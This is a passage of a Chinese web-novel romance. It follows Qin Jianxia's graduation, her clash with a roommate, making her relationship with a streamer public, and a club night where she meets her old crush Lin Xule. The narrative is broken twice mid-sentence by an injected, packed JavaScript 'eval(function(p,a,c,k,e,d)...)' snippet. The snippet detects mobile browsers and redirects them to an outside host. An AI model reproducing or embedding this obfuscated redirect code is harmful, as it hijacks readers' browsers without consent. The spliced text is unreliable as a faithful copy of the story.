“我看得起你又怎样,看不起你又怎样。对你来说,我的看法就这么重要吗?” 陈文欣闻言,只是维持刚刚埋头玩手机的动作,还是将脸藏在发梢后面,秦见夏看不清她的表情,也不是很在乎她的态度。 她想了想,又道:“我确实挺讨厌你的,你知道吗,你说话真的很不好听,任何人随便一句玩笑话你都当真,认为对方在针对你。其实如果你不是我室友的话,打死我我都不可能和你这种人说一句话。” “拜托——”秦见夏嘲弄地笑了声,“你不是天天叫她们老婆吗,怎么对女生恶意最大的也是你,我看别的二次元同学还挺好相处的。” “永远都是别人有问题,别人在针对你、孤立你,你有没有想过,其实你看别人什么样,别人看你就什么样?” “你是家庭贫困,可是咱们宿舍有一个富二代吗?人家隔壁宿舍的小陈也家境不好,她爸妈连生活费都不给,她怎么没像你这样。” “你是知名高考大省出来的,那你知道我们苏省高考竞争也很激烈吗?难道苏织、林喜她们省份高考就不激烈了?咱们专业同学大部分都是那几个省进来的,不然你以为轮得到你跟我们当同学?” “你是大学前没见过世面什么都不懂,可是林喜之前封闭学校,她也什么都不懂呀。人家也没像你这样,动不动就怼别人。” 秦见夏的语气十分平静,没有任何激动的情绪,只是坦然地阐述着。 “陈文欣,真的,没人有这个针对你的功夫。搞霸凌的那帮社会人考不来我们学校。你指望推崇优绩主义的这帮人分精力给你?我看你是真的太闲了。” “四年,整整四年,宿舍里谁不是知道你家庭可怜,都让着你、帮你跑腿、带着你做作业、搞比赛,有人说过你一句吗?” “连答辩当天你那个纸质版毕业论文,都是我和苏织帮你一起打的,你自己不觉得过意不去吗。” 秦见夏吸完最后一口奶茶,见对方还是沉默地缩在那里,忍不住再度发自内心地笑了两声。 她将空纸杯留在春日青色的桌面上,最后扫了一眼生活过四年的宿舍,边往外走边说:“我今天跟你说这些,没有任何意思,既然你开了头,那我就顺势说两句,仅此而已。” “连川总都对你无可奈何,既然如此,那你就继续沉浸在你自己的艺术里呗。” 听到秦见夏的声音越来越远,陈文欣终于抬起头,目光锐利地射向门边,仿佛一道道箭矢。 秦见夏浸在阳光里,从始,至终。 连阳光都偏爱她。 “秦见夏,我讨厌你。” 陈文欣微微战栗着,只是说。 “嗯,我知道,我说了我也讨厌你啊,”秦见夏捏着退宿证明,闻言扬起纸条,冲她挥了挥,算作告别,“再也不见,一路顺风咯~” 说完她便消失在宿舍门外。 秦见夏抬眸,最后瞥了一眼328的金色掉漆门牌,大仇得报地笑了笑。 她心中很是畅快,哼着《晴天》的小调下着楼梯,步伐越来越快。 迫不及待见到爸妈了,还有谈继秋。 即将出门路过宿管阿姨时,她认出今天值班的是好脾气的那个阿姨,做毕设那段时间,阿姨天天给她们留门。 秦见夏走过去,登记过后,抱了抱阿姨:“阿姨我要毕业啦,这四年来谢谢您照顾我们,让您费心了。” 阿姨感动地红了眼睛,不舍地拍了拍她的背:“这是阿姨的指责,小同学,也谢谢你,阿姨祝你一路顺风。” “有时间回来看看我们。” “一定!” 秦见夏与宿管阿姨告了别,风风火火地坐进副驾,指挥谈继秋往东门的方向开。 谈继秋搬完东西后,得空瞧了眼手机,这才发现秦见夏在三个平台都官宣了他。 他感慨地捏了捏秦见夏的手,目光闪烁:“不容易啊。” “你早就计划好了是吧?” 秦见夏扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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捧着两个壳子和两页纸路过展区时,她突发奇想,跑到自己的展台那里,迫不及待地搁下来,将证书夹进去,这样一会好给他们展示。 外壳都是崭新的,四角的红绳绷得很紧,秦见夏正小心翼翼地往进塞着薄纸,耳边忽然传来一阵脚步声。 她已经对这个脚步声熟得不能再熟了。 “川总,您也在啊。”秦见夏抬起头,向导师打招呼。 “哟——”川总仍然梳着小辫,单手抓着保温杯,姿态随意不羁,“原来是小秦同学啊,你化妆我都没认出来。” 他走近,仔细端详她的脸两秒,不可置信地看了好几眼,仿佛她是动物园里的猴子。 秦见夏:“……” 她妆前妆后也不至于差距这么大吧…… 刚好证书也装好了,秦见夏举起来放到自己的展板跟前,拿手机拍了照片作为留念。 刚收起手机,范川便不客气地接过毕业证细细打量,嘴里念叨着:“不是前两天才换校长吗,你们毕业证上这么快就不是老邝了?” 涉及敏感人物,秦见夏一时不知道怎么接话,只能尴尬地笑了笑。 范川观赏完毕业证,仍然没有要走的意思,而是站在秦见夏身侧,双手负在背后,与她一起瞧着墙上的毕业展板。 两块A5竖排泡沫板被大头针钉在墙上,顶上打着暖色氛围灯,左下角贴着标签—— 作品:《滁南村落集群创新与概念设计》 作者:秦见夏 “最后没做场景建模,可惜了。”川总叹息一声。 秦见夏也感慨万千:“没办法,我技不如人啊老师。” “什么技不如人,”川总侧目嗔她,“你要是对建模用点心,哪怕用c4d都能搓出来场景,哪有那么难!” “你这个作品要是完成度再高一点,滁南那边肯定买下来了——”范川扫了眼四周,突然“诶”了一声,“不是,你们怎么大部分都把展品带走啦?不是在群里说了过两天县领导要来咱们院视察吗,我们要谈合作的呀!” 她们同学只有个别把展品扔在这里不要了,其余展台几乎都空空荡荡。 范川一下急了,掏出手机准备联系班长,秦见夏一头雾水地回应他:“老师,可是我们辅导员前天就通知我们要清空教室和展台了,说是不清就要给我们都扔掉。” “我们以为您说领导视察那个意思是光留下展板,”秦见夏说,“而且我们今天五点前就要全部离校啊,中午突然通知的,这会大家应该都走完了。” “妈的——”范川揣回手机,忍不住骂道,“行政这帮王八蛋,真是烦死了。” 川总确实是性情中人。 秦见夏也负着手,感同身受地点点头:“就是。” “你今后什么打算啊,”范川突然问起,“考研没考上,继续搞你那自媒体?” 秦见夏也是没想到,范川也知道这事。 她脸色一度爆红,尴尬地支支吾吾起来:“还没想好,目前没找到合适的工作。” “肯定找不到,”范川笃定,“你们一帮本科毕业的小萝卜头,也就能找到那三千五的,社保给不给交都不一定。” “嗯嗯是的,不交。”秦见夏捧哏似的。 范川抱起胳膊,靠在展台上,斜着眼睛瞧她:“有没有想过出国读研啊?” 秦见夏抱着一红一绿两本证书,“咯咯”地笑了起来:“没这个经济实力呀老师。” “放屁呢,你有那几十万粉丝,攒个一两年不就够了,”川总戏谑道,“光顾着和你那小男朋友谈恋爱了吧,连之前给你推的学姐微信都没加。” “……” 秦见夏又想将自己埋进地缝里,中年人冲浪速度能不能不要这么快啊! 范川笑着瞧她一眼,语气松了下来:“行了,好不容易毕了业,不push你了,出国留学的事你再考虑考虑,国外是可以申请奖学金的嘛,我这里一直给你留封推荐信。” “人生那么长,试试呗!” 秦见夏感动不已,正欲开口道谢,只听导师又道:“对了,你那毕业致谢写得不错,老师们都夸你文笔可以——” “下回百年还是一百多少年校庆,要是还没和你男朋友分手的话,把你对象也带过来一起呗。” “啊!?” “啊什么啊,你当我们中年人不玩LOL啊,你对象不是Jichoo吗……没想到你俩还能凑在一起,我现在还有课,下回把他带过来让我也瞧瞧!” 果然又是偷溜出来摸鱼的…… “好!”她答应。 “行了快走吧,找你对象去,”范川松弛地说走就走,还不忘吐槽,“终于给你们这届送走了,看着就闹心。唉——上面那群小萝卜头更让人闹心!怎么一届不如一届,真是烦死了!” 秦见夏憋着笑和导师朝相反方向走去,刚走到艺术楼大门口,最后瞧了一眼玻璃门上贴着的“艺术学院”蓝底白色黑体字,耳边又落了一句—— “常回来看看,艺院永远是你们的家。” “好的!谢谢老师——” 秦见夏激动的声音在空荡的大厅回荡着,格外响亮。 “哎呀吵死了,怎么之前上课回答问题不见你这么大声音,快走吧你。” 范川也不回头,秦见夏只能看到他潇洒地背对着她挥了挥手,随即那道黑色身影便消失在一楼尽头拐角处。 秦见夏也转回身,最后一次走下那条长长的石阶。 还是第一次感觉“艺术的阶梯”这么短。 秦见夏望向天边烧红的夕阳和高耸的图书馆,以及顶上已经亮起灯的学校名称。 她在这个视角仰望过千百次A大的落日,无论四季、无论阴晴圆缺、无论雨雪。 它总是那样立在学校最高的建筑上,为无数学子指引着方向。 正如她给父母介绍的那样,只要看见它,就不会迷路。 秦见夏在心底最后默念了一遍校训,走下最后一级台阶,最后环视了一圈校园。 仍然有学弟学妹在大汗淋漓地挥着手机校园跑,仍然有刻苦努力者在不远处那幢高楼里埋头苦读。 仍然有人正年轻。 再见了,母校。 秦见夏钻进车里,一捧巨大的向日葵花束映入眼帘。 她的父母和她的爱人齐声祝贺—— “夏夏,毕业快乐!” 82. 当年你 秦见夏的官宣在互联网引起了轩然大波。 她发出不久后,谈继秋也紧随其后—— 发的是他不知道什么时候偷拍的、秦见夏熟睡时的、凌乱的素颜照片。 并配文:「老婆终于肯给名分了。」 “谈继秋!!!” “你有毛病吧你!!!” 回家的路上,秦见夏终于有空刷手机,一打开微博便闻此噩耗。 “老子发的是咱俩的精修照!上午时间那么紧张,我连你的脸都p了!你居然发我素颜偷拍照片——” 秦见夏愤怒的咆哮声在车内回荡。 “哎呀,啊啊呜呜滴吵什么吵,”秦国海“嘘”了她一声,“没看到你老妈睡着了嘛。” 秦见夏便只能狠狠瞪他。 然后从他兜里抢过手机,将他们在拉萨拍的情侣写真又全平台发了一遍,也不知道配什么文案好,因为距离前一条已经过去很久,她的颜面早已无力回天。 只能随手打了个“:)”当作文案。 谈继秋开着车,小声嘟囔着:“我就觉得那张最好看……” 秦见夏的眼刀下一秒便扫来。 他只好噤声。 想了半天又说一句:“下面评论都挺好的呀……” 秦见夏捧着手机,又瞪他一眼。 谈继秋比了个给嘴巴拉拉链的动作。 她将信将疑地打开他的视频评论区,意外发现全是祝福。 「夏秋99,我们虾球姐终于苦尽甘来了」 「配乐还是《寂寞寂寞不好》,太有品了这个老秋【作者赞过】」 「虾球姐不语只是留下一串神秘数字」 底下跟了一连串的「99」 「哎不是,怎么嗑夏秋cp的又不都是女的,男的到这里集合,我们娘家气势也不能输」 「楼上,应该是婆家吧」 「男方的粉丝可不就是娘家人」 「什么娘家婆家的,大喜的日子99就完事了【作者赞过】」 「卧槽当初cj我就知道他俩是一对!过了一年才追到手吗,劳秋你这家伙【作者赞过】」 「这到底是男方高攀还是女方高攀」 「其实去年我在南城就遇到他俩一起逛过街」 「我还在晋海遇到他俩一起吃过海底捞呢,那时候嫂子说自己是工作人员,还帮我们拍了合照[图片]」 「我也在南城遇到过他们吃海底捞……嫂子海底捞重度依赖这一块./【作者赞过】」 「那肯定竞男高攀了呗,没看见嫂子A大的吗【作者赞过】」 「你们偶遇过的嘴是真严,怎么就我没偶遇过」 「一个中流211艺术类粉领闹麻了,继军一场直播能赚女的四年学费」 「Jichoo今天还来我们学校了,可惜有课没偶遇到,二手群一个签名炒到三位数了」 「666这年头A大也能被喷,喷嫂子学历的你也不看看你家哥哥什么学历,你又啥学历看看学信网?中专生真闹麻了」 「老秋一大把年纪好不容易追到妹,别给嫂子喷跑了,你们收收味行吗【作者赞过】」 「行了你们别不知足,夏笺都算竞圈嫂子天花板了你们还不满意,谈继秋父母那样人家都不计较,之前还帮着处理他家那堆破事,声明写得有目共睹,我要是女的我早跑了,你们就是看不惯人家郎才女貌【作者赞过】」 「就是啊楼上说得对,嫂子一没黑历史二不作妖三没用大秋起号,谈了这么久才官宣,去年全网黑都不离不弃的,仁义这一块./真换个转会嫂子你们又不乐意」 秦见夏瞧着他评论区一溜烟的【作者赞过】,笑疯了:“你能不能别这么有节目。” 谈继秋耸了耸肩:“出这个功能就是让人用的。” 比起谈继秋的评论区,秦见夏这边画风就显得诡异许多—— 「嫂子开门,我是我哥」 「老婆居然喜欢男的吗[摊手表情包]」 「嫂子我是本硕c9研0黄领皇帝,你看我行不,我可以加入你们,做外室也不是不行[学信网截图]」 「我艹恶俗啊,如此甜妹老秋也下得去手」 「隔壁有人喷主播学历和粉领,夏家军随我出战好吗」 「666不愧是互联网,这年头211也要被喷」 「楼上你以为,现在清北的来了都要被骂一句小镇做题家」 「主播主播我是湖对面的,学姐你要我微信吗」 「撬墙角就撬墙角,谁要你那有的没的」 「宝宝毕业照拍得好美,口红是什么色号呀」 「嫂子什么时候官宣分手,我拿着爱的号码牌了」 「哈哈哈哈嫂子导师是fc吧,今天上课还给我们说了,说带的学生背着他一声不吭地谈了个电竞选手,还说嫂子打死也不肯钻研建模,把他气得……不过姐姐真的很厉害啊,我还拿了姐姐留在展位的明信片,川总说让你不要放弃深造啊!」 「嫂子vlog太治愈,继军这家伙何德何能[捶地]」 「嫂子我和他们都不一样,我是女的!没发出去吗,我是女的!helloImwoman!」 「重生之嫂子竟是我学姐」 「什么明信片,现在去领还有吗」 「早被领完了,本人A大数院的,艺院开展第三天我去的时候就只剩个试章纸了」 「啊以后不会要变情侣赛道了吧……补药啊」 「你俩少亲点嘴吧,都有夫妻相了」 「小情侣要999999999」 「……」 官宣过后,双方粉丝都涨了不少,秦见夏更是涨了十几万。 所有人都以为她从此以后会更情侣向vlog。 然而并没有。 秦见夏依旧谨慎地删掉关于男友的任何画面,只是录自己的日常生活。 这点她早就计划好了,也和公司商量过,决定还是继续保持从前的风格,如果想更情侣视频开个小号就行——然而秦见夏目前忙不过来。 况且她之前喜欢的和她同一类型的vlog博主,许多都是谈恋爱后就带男友出境,包括她在内的粉丝们都很抵触。 再不济的话……万一之后他俩的感情有什么变动,自己做自己的账号不会产生经济纠纷。 秦见夏的粉丝是高兴了,谈继秋的粉丝彻底懵了。 他们本以为可以在嫂子这里看到Jichoo出场,结果从始至终都只有雪山vlog那一帧。 让人有种他俩谈了但并没谈的错觉。 秦见夏的vlog里连她几个朋友都出现过,大家都叫得上来名字,唯独没有谈继秋的身影。 某条质疑他俩恋情的帖子火了之后,谈继秋直播时,所有人都在弹幕刷—— 「让嫂子出镜」 谈继秋对此事早有耳闻,也向秦见夏多次暗示可以和她一起录视频。 然而秦见夏不语,只是一味地删除谈继秋误入的素材。 “别刷了,她今天不在我这,”谈继秋不由得笑了声,解释道,“你们要知道,她粉丝就爱看她自己录的那种vlog,是她承诺过的不带我出境。” “我俩感情好着呢,少去撬我墙角,我有在不定时检查她的私信,你们那种说自己185男大c9自荐的,我都有给你们毕业。” “什么?她又给你们解除拉黑了?”谈继秋看到弹幕,当即拿起手机,“等会,我去问问。” 过了两分钟,他得意道:“问过了,你们嫂子说不知道这事。” “不是阳奉阴违,你们发不了图片我也知道,她肯定不会偷偷解除拉黑的……吧。” “是的,你们猜对了,之前我直播,她就在我旁边陪我打游戏。” “什么叫不是特意陪我,她确实爱玩游戏,但她真的是为了陪我直播。” “为什么一定要看她出镜?那如果被她粉丝刷到切片,他们也会不乐意的。” “她粉丝不是梦女梦男,再说下播了。” 谈继秋本来在解答弹幕的疑问,直到看见这样一条—— 「我刚刚好像在南城club看见嫂子了,她旁边坐了个很年轻的男孩,我还以为是主播呢,过去打招呼才发现不是,本来想要签名的……」 等等,不对。 谈继秋当即给秦见夏打了视频过去,那边一秒挂断。 他难以置信地又打了一遍。 秦见夏依旧给他挂了。 打字回复:「在忙等会给你打回去」 谈继秋深吸了一口气,一秒下播。 他穿着睡衣,抓了车钥匙就往出走,已经脑补出那小男孩亲着她的嘴,挑衅地用她手机打了这行字。 秦见夏只说今晚要和朋友出去吃饭,没吐露其他。 谈继秋终于体会到了怒发冲冠的感觉。 一边生气一边又担心,她会不会是被下了脏东西——虽然快一年了但还在热恋期啊。 此刻秦见夏身上确实有脏东西。 初中玩得好的女同学恋爱长跑多年刚刚失恋,求她陪她出来吃饭散心。 本来谈继秋不陪她的话,她一般不会在晚上八点之后独自出门,爸妈也不同意。 然而她瞧她确实难过,她前男友也是其他班的同学,这俩初中同学父母也都认识,担心她想不开,她一心软便答应了。 谁能想到,吃完饭后她非要拉着她去club。 秦见夏哪去过那种地方啊。 同学说她不去的话,她就自己去喝酒散心。 她一个女生,秦见夏也不放心。 于是就这样散心散到了club。 阳奉阴违地回完男友微信后,下一秒,同学点了两个男模。 “我有对象……” 秦见夏瞧着面前的年轻男孩,无可奈何地对她说:“你留一个就行了,另一个撤了吧,让我对象知道我真吃不了兜着走。” 其中一个已经麻利地坐到初中同学身边了,秦见夏话音刚落,另一个生涩的年轻男孩差点就要哭出来,央求她:“姐姐,让我陪您一会您再退行吗,我是第一次干这个,立马被退掉的话工作就不保了……” “我还在上学,我母亲得了癌症急需用钱,求您了,我在您身边坐一会就行!” 秦见夏怎么瞅着这男孩怎么像谈继秋的少年版。 她不禁联想起,他那时候也是这样如履薄冰。 无论男女,救风尘从某种程度上来说也算是刻进血脉里了。 秦见夏叹息一声。 “过来吧。” “别坐得离我太近,”她还不忘吩咐,“我怕我对象揍你。” 旁边已经喝起来了,模子哥给初中同学哄得一瓶一瓶地开。 秦见夏汗颜,越想越忐忑,打开Q|Q悄悄给她那该死的前男友发消息,让他现在立马来接她走。 如今只能庆幸还好她也有这个男同学的Q|Q,希望对方没有卸载掉这个古早软件…… 比起豪放的女同学那边,秦见夏这里略显尴尬。 她只好有一搭没一搭地和男孩纯聊天:“在哪上学啊。” 男孩实诚地说:“旁边N大。” “以后别这么老实,万一别人知道了在网上挂你怎么办?你这书还读不读了。” “你陪我们这一场多少钱?” “1499。” “你妈妈手术费还差多少?” “三十万。” 秦见夏又是一声叹息。 “什么专业的?” “设计……环境设计,”男孩难以启齿地说,“我们家之前条件没有这么差,是我爸爸得知妈妈生病之后,将钱全部悄悄转走跑了……” 听到和自己相近专业的名字,又想起环设的平均薪资…… 也难怪下海了。 秦见夏心里挺不是滋味的。 “手机掏出来,打开收款码。” 男孩闻言立刻摇头拒绝。 “行了,你妈在病床上等着呢,这个时候面子不值钱。” 他只好红着脸打开了收款码。 秦见夏也不是挥金如土的霸总,真给那么多也舍不得,一咬牙扫了三万块钱过去。 “这个月你应该不用来这里了吧……”秦见夏蹙眉瞧着快没电的手机,问,“会擦边吗?” “行了不会就去学,都下海了就别在乎擦不擦边了,你就学那几个火的擦边博主,发几条视频试试水,没流量就改成‘男大学生学习擦边的第几天’,每天发条跳舞视频,指不定比你这样来钱快。” “你哪怕出台,除非碰到真富婆,不然得多久才能赚够三十万啊……不行你就卖惨,直接说要给你妈治病,所以去擦边了,”劝人擦边确实不太道德,秦见夏想了想,“但你还是慎重考虑吧,我这个方法肯定会被喷的。” “谢谢姐。” 男孩感动得差点痛哭流涕,斟酌半天说:“姐姐,这个钱我一时半会真的还不上,我知道你有男朋友,如果你不介意的话,我可以跟你一个月,我还是第……” “乖乖隆地咚——” 秦见夏快被吓死了,差点弹射起身离开这个是非之地:“停停停你先别说了,我没有其他意思,你就当我日行一善——” “唉,实话实说,我也是学设计的,同病相怜你懂不?”她又连连摇头,起身道,“算了算了你懂不懂无所谓,我妈喊我回家吃饭了……” 秦见夏捏着快没电的手机,走到初中同学身边,四周音乐太响,她附在她耳旁说:“刚刚给那谁发过消息了,我想先回家了——唉,你把你手机给我,我给他打电话。” 对方已经喝晕了,秦见夏只能上手扒拉她手机。 意外就是在这时突然发生的。 初中同学被她不小心压了下胃部,紧接着便是一道洪亮的“呕”。 秦见夏以多年打游戏的反应速度,以迅雷不及掩耳之势跳到一旁,结果还是不幸被溅到了一点呕吐物。 她也想吐了。 现在也顾不上打不打电话的事,秦见夏只想去厕所清理一下。 恰好在这时,谈继秋给她弹了视频通话。 她就是敢接现在也没电接,只好立刻挂断。 第二个视频打过来的时候,手机只剩1%的电了,秦见夏连忙给他打字说一会回过去。 刚发送完消息,手机立刻黑屏。 秦见夏:“……” 事情已经诡异到,让秦见夏开始怀疑,这帮神人是不是谈继秋派来的考验了。 她不知道第几次后悔没叫上男朋友一起。 比初中同学先来的,居然是另一个初中同学。 “林徐乐——” 秦见夏意外地看向来人,惊讶道:“你怎么在这?” 林徐乐还是那副清风霁月的样子。 一身剪裁得体的高定西装,脸上永远带着笑意,岁月好像在他身上静止了。 哪怕留学归来,林徐乐依旧谦逊有礼,他认出秦见夏,也是震惊一瞬,随后便向她走来,认真解释:“小……那个,老张说他不想过来,这回是彻底分了,我刚好在附近应酬,他就托我来把话说清楚。” 秦见夏脸上火烧火燎地,她扫了眼两个男模,尴尬地选择视而不见,也没解释,又看着烂醉不醒的女人,无措问他:“那现在怎么办呀,给她开个房还是?” “你们男的不方便抱她,我也抱不动呀……” 林徐乐纠结片刻,很快便给出解决方案:“让这两位……侍应生,一个抬着肩膀一个抬着脚,我的司机在外面等着,先送你回家吧。” 他还是这样温和。 秦见夏忽然有些恍惚。 心道也不知道他女朋友是什么样的类型,看起来他对她女朋友也挺好的。 少女时代的自卑是一颗无法剔除的种子。 她的的确确真心喜欢过林徐乐,这是她情窦初开时喜欢的第一个男生。 他礼貌、温柔、体贴、优秀。 于是她也想成为这样的人。 无论是当年,还是后来的无数个日夜,她都完全没有告白的心思。 她曾经只是觉得,如果自己也能成为和他一样优秀的人,他的目光是不是就能在她身上驻足了。 林徐乐的脾气好是好,却是那种中央空调。 无论男女老少,只要是个人,他都对他们一视同仁。 包括秦见夏在内。 她并不是那个例外。 于是和谈继秋接触后,她在他身上看见了自己的影子。 不安、嫉妒、难过。 她都明白的。 自从意识到症结所在,秦见夏每回在人多的场面也要和他偶尔撒一下狗粮(即便她真的觉得很尴尬),和别人聊天时,一定会在桌子下面牵紧他的手。 只要让他感受到他是独特的,这样他就顺毛了。 兴许是这颗种子埋得太深。 所以当她意识到谈继秋对她的感情是有些病态的时候,心里有个声音告诉她—— 这辈子真的栽了。 或许也是性格的高自尊,让她的择偶观变得有些病态。 没有人这么坚定,除了谈继秋。 因此,哪怕赴汤蹈火,哪怕泥沙遍身,她也要抓牢他的手。 因为他只有她。 果然像老妈说得那样,他俩病都病到一起去了。 林徐乐的气场有些强,男模也不好意思再灌酒,他俩便出去找领班报备,同学半死不活地躺在沙发上,毫无生气。 也许是灯光旖|旎,也许是谁切换了抒情歌,秦见夏若有所思的神情落进了林徐乐眼里。 她眸光璀璨,即便坐在昏暗的酒吧里,也依旧熠熠生辉。 林徐乐忽然需要得到一个答案。 他实则是内敛的个性,外放是他从长辈那里学来的社交手段。 这个问题将他绊了许多年。 他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124444|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,她现在是小有名气的网红,她现在有彼此相爱的男友伴在身侧。 如果今天没有遇见她,他这辈子都不会产生这个冲动。 林徐乐瞧着她柔和的侧脸,心道会不会是宿命使然。 他不管不顾地开了口—— “当年你——” 林徐乐的声音与另一道男声恰好交叠。 “秦见夏——” 他看见一个穿着睡衣的高大男人骤然走来,他容貌极佳,来势汹汹。 他看见对方在瞧到他的那一瞬间,面色顿时如坠冰窟。 他还看见,秦见夏当即哭丧着脸,朝那男人迎了上去,娇嗔地吐槽着自己的新裙子脏掉了。 男人则目光森冷地瞥他一眼,随即立刻牵起她的手,笑得弯起眼睛:“宝宝,我们再买一件就行。” 秦见夏已经累到极致,完全没意识到,这是谈继秋第一次叫她这么亲昵的称呼。 她满脑子都是——他怎么才来呀。 “可是我才第一次穿,这条裙子还是香奈儿的……” “那就送去干洗?” “后天早上不是有什么发布会吗,干洗还来得及吗?” “明天再去专柜买条新的。” “好吧……其实我是想说,你来得太慢了!你知不知道我手机一点电都没了!” “来得早不如来得巧。” 谈继秋掀起眼皮,意有所指地朝那人的方向扫了一眼。 林徐乐忽然感到喉间发痒。 他叩在手机侧面的指节微微颤抖,他难耐地举起手机,打给罪魁祸首:“我还有事,把你前女友弄走。” “你不来我就把她一个人扔这了。” “嗯,在club散台这边。” 通话挂断后,林徐乐迟迟没放下手机。 明明久经职场,为何此刻还是不知道该以怎样的姿态面对他们。 林徐乐站在一片嘈杂里,如同溺水的人。 还是秦见夏主动问:“老张要来吗?不能把她一个人丢在这,要不然我们送她去酒店,要不然我要等老张来了再走。” 林徐乐捏着手机,喉间一片干涩。 “嗯。” 他错开秦见夏的目光,被烫到似的快速答应一声。 林徐乐这个神情,秦见夏曾经也看过无数遍。 以往的她,会将它认为是羞赧的情愫。 现在不会再自作多情了。 谈继秋捏着秦见夏的手紧了紧。 她浑然不知,她太困了。 秦见夏本身昨天就熬了个通宵,身体也不舒服。 此刻已经将近十二点,她靠在谈继秋身上,连连打着哈欠。 耳旁的DJ吵得她头晕。 谈继秋发现了,不嫌累地用手捂住她的双耳。 于是林徐乐便开口了:“你们先回去吧,我在这里等人就好。” 谈继秋闻言,目光如炬:“你不是还有事吗?你为什么不走。” 这话显然就暗潮汹涌了。 林徐乐的目光抖了抖,视线不留痕迹地朝下移了一瞬,又若无其事地挪开:“我有话要对老同学说。” 这话又是意有所指。 还好秦见夏听不到。 所以林徐乐才敢这么说。 如果换作是一年前的谈继秋,一定会在此刻把秦见夏摇醒,歇斯底里地刨根问底,势必要问出个所以然来,掂清自己在她心里的分量。 然而此刻—— 她踏实地靠在他身上,睡容安谧。 谈继秋却又觉得,没什么必要了。 无论如何,在她身边的始终是他。 “嗯,”他用指腹抚了抚秦见夏的侧脸,语气温柔,“说吧,说清楚。” 林徐乐以为他会生气。 然而他的注意力完全在秦见夏身上。 他不在乎他们的曾经。 溺水的感觉再度出现。 林徐乐不知为何,自己一定要待在这里虐待自己。 他潜意识里觉得,这或许是他和秦见夏的最后一次见面了。 南城很大,他们却在这里相遇;南城也很小,竟然是近十年来的第一面。 谈继秋一直在等对方和秦见夏说清楚。 可他只是将目光轻飘飘地落在她身上,纹丝不动。 他恍然明白他们为什么会错过。 直至老张闯入,秦见夏才苏醒过来,她头有些疼,和老同学打了声招呼后,便靠着沙发背等待他们离席。 老张看着沙发上不省人事的女人,又瞧了瞧桌子上七倒八歪的酒瓶,骂骂咧咧几句,还是将女同学抱走了。 临走前和老友打了招呼:“走了啊徐乐,今天谢谢你和小夏了,回头请你们吃饭。” 果然他就是林徐乐。 谈继秋神色淡淡地把玩着秦见夏的手指,那里有他昨夜留下的吻痕。 秦见夏意识回笼,拍了下他的手背,将自己的手指抽走了。 她笑容满面地起身,对林徐乐随口寒暄两句,便道:“走吧,咱们一起出去,单我买过了。” 林徐乐只是摇头。 面对她的笑眼,那种刨根问底的欲|望再度显现。 鼻息间是她身上似有似无的香水味。 林徐乐想着,她还是喜欢柑橘味的一切。 “你们先走,我过会。” 他麻木地给自己下了判词。 “行,”秦见夏也不多问,对于有女友的男性,她通常极有分寸,“那我们就先走了。” “你——” 秦见夏脚步滞住,最后望了一眼这个曾经在她心底埋藏过许久的人。 谈继秋熟练地从沙发上抄起她的背包,闻言动作微微一滞。 吵闹的氛围里,窒了两个人的呼吸。 “再见,林徐乐,祝你们幸福。” 秦见夏冲他扬起笑容,说完便毫无留恋地转身往外走,打着哈欠说—— “谈继秋快点,我困了。” 林徐乐似乎冻僵在原地。 他仍然保持着刚刚垂眸瞧她的姿势,脑中她的笑容与初三那年情窦初开时重叠。 谈继秋背着秦见夏的粉色小包,路过西装革履的精英男人时,鼻息间似乎发出了“嗤”的一声。 林徐乐面上毫无波澜,恍若未闻。 直到那人身上传来和秦见夏同样的柑橘味。 林徐乐终于意识到自己失去了什么。 以及,他无数次欲言又止的懦弱。 他始终想问的是—— “当年你为什么突然不和我一起放学回家了。” 还有,后来我们上了大学,你又为什么删掉了我的联系方式。 为什么。 林徐乐精致的面具裂了一道又一道的缝隙,他神色痛苦,青筋遍布的手抓起桌上的酒杯,狰狞地一饮而尽。 音乐又换成了舒缓的民谣。 林徐乐扒开西装领带,一言不发地灌着酒,即便最初从酒局出来时,胃已经感到不适。 他辨认出这首歌是朴树的嗓音,很熟悉,似乎在哪里听过。 其实—— 只要林徐乐问出那句为什么,他就会得知,秦见夏删掉他是因为发现他王者主页绑了亲密关系,她通过他的对局记录,得出他有一个谈了很多年的女朋友这个谬论。 实则他早就把号扔给表弟玩了。 只要他问出那句为什么,他就会得知。 初三那年夏天,女孩与他形同陌路的缘由,根源于青春期少女的自卑,与她脆弱又高傲的自尊心。 只要他问出那句为什么,他就会得知—— 他喜欢的女孩曾经也喜欢过他。 很多年。 “那片笑声让我想起我的那些花儿 在我生命每个角落静静为我开着 我曾以为我会永远守在她身旁 今天我们已经离去在人海茫茫” 林徐乐总算辨认出,这是他们初中毕业典礼时,他们班合唱过的歌曲。 那时候他和秦见夏已经断了来往,但他在唱这首歌时,目光瞥的是她的方向。 “有些故事还没讲完那就算了吧 那些心情在岁月中已经难辨真假 如今这里荒草丛生没有了鲜花 好在曾经拥有你们的春秋和冬夏” 再听已惘然。 “啪”地一声,林徐乐摔了杯子。 玻璃碎了一地,在霓虹灯的照射下璨如钻石。 其他卡座的男男女女看了过来,林徐乐冷笑一声,也不知是在同谁置气。 他打开钱夹,抽出一叠钞票压在桌上。 门外,他的司机早已恭候多时。 林徐乐近乎仓皇地钻进车里,扣上车门,将那恼人的旋律关在外面。 他不敢听完这首歌的最后一句。 他曾经烂熟于心的—— “我们就这样,各自奔天涯。” 83. 骤夏雨 “我们就这样了。” 回家的路上,秦见夏主动给谈继秋交代了事件起末,以及和林徐乐那点短暂的少年悸动——哪怕悸动了这么多年。 她还详细讲述了自己日行一善的慈善家行为,任何一个细枝末节都交代清楚了,跟做笔录似的。 “救风尘那段,你确定你没有别的心思?你不是说他长得像我吗。” 秦见夏意外于他将关注点放在这里,忙不迭摇头:“他要是长得不像你,我还不给他五位数呢。” “这种狗血剧情里,那个一般才是男主。” 他语气不明,秦见夏总觉得他意有所指。 